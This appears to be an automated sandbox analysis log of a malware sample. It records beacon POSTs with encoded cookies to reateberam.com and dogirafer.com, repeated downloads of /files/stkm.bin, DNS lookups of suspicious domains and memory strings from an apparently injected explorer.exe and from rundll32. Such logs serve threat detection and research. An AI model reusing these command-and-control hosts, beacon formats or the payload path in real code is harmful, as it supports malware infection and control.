Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hlYQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hlYAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hlZwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hlZgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hlZQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hlZAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hlawqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hlagqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hiYwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hiYgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hiYQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hiYAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hiZwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hiZgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hiZQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\explorer.exe

Code function: 8_2_0303900C InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

8_2_0303900C

Source: global traffic	HTTP traffic detected: GET /files/stkm.bin HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.com
Source: global traffic	HTTP traffic detected: GET /files/stkm.bin HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/stkm.bin HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.com

Source: global traffic	DNS traffic detected: DNS query: huanvn.com
Source: global traffic	DNS traffic detected: DNS query: vutarf.com
Source: global traffic	DNS traffic detected: DNS query: reateberam.com
Source: global traffic	DNS traffic detected: DNS query: dogirafer.com

Source: unknown

HTTP traffic detected: POST /test/ HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hmdViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWuehdE1VOeWVOCBw+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 92Cache-Control: no-cache

Source: explorer.exe, 00000008.00000003.3856101577.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000008.00000002.4535485561.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2320112731.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: explorer.exe, 00000008.00000003.3856101577.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000008.00000003.3856101577.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000008.00000003.3856101577.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?3880ff7
Source: explorer.exe, 00000008.00000003.3856101577.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000008.00000002.4549635767.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.00000000099B1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219518856.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4536479202.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2511990228.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r10.i.lencr.org/0
Source: rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r10.o.lencr.o
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219518856.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4536479202.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2511990228.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r10.o.lencr.org0#
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4537635408.000001CEB01E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318826583.000001CEAE494000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE421000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3189915163.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CE8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536958246.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421623053.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190080056.0000027617D55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219328549.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219239496.000002339E1FA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2513069428.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E11E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4536552097.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr.org/0
Source: rundll32.exe, 00000004.00000003.3189915163.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536958246.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421623053.0000027617D52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4537635408.000001CEB01E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318826583.000001CEAE494000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE421000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3189915163.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CE8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536958246.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421623053.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190080056.0000027617D55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219328549.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219239496.000002339E1FA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2513069428.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E11E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4536552097.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0#
Source: explorer.exe, 00000008.00000000.2322979543.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2322953274.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000002.4547057338.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4537635408.000001CEB01E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318826583.000001CEAE494000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE421000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3189915163.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CE8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536958246.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421623053.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190080056.0000027617D55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E193000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219328549.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219239496.000002339E1FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4537635408.000001CEB01E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318826583.000001CEAE494000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE421000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3189915163.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CE8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536958246.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421623053.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190080056.0000027617D55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E193000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219328549.000002339E1F5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219239496.000002339E1FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: rundll32.exe, 00000004.00000003.3189915163.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536958246.0000027617D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421623053.0000027617D52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lew
Source: explorer.exe, 00000008.00000002.4553248554.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2325776934.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000008.00000000.2321862445.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000008.00000002.4549635767.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000008.00000000.2321862445.0000000007637000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4544441283.0000000007637000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000008.00000000.2321008105.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4540619614.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3095470555.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3857371736.00000000035FA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.coml
Source: explorer.exe, 00000008.00000003.3861913197.0000000009C93000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554444765.000000000C8DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554853307.000000000C9A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554024065.000000000C81C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4555029441.000000000CA51000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009C93000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dogirafer.com/
Source: explorer.exe, 00000008.00000002.4555029441.000000000CA51000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dogirafer.com/.5
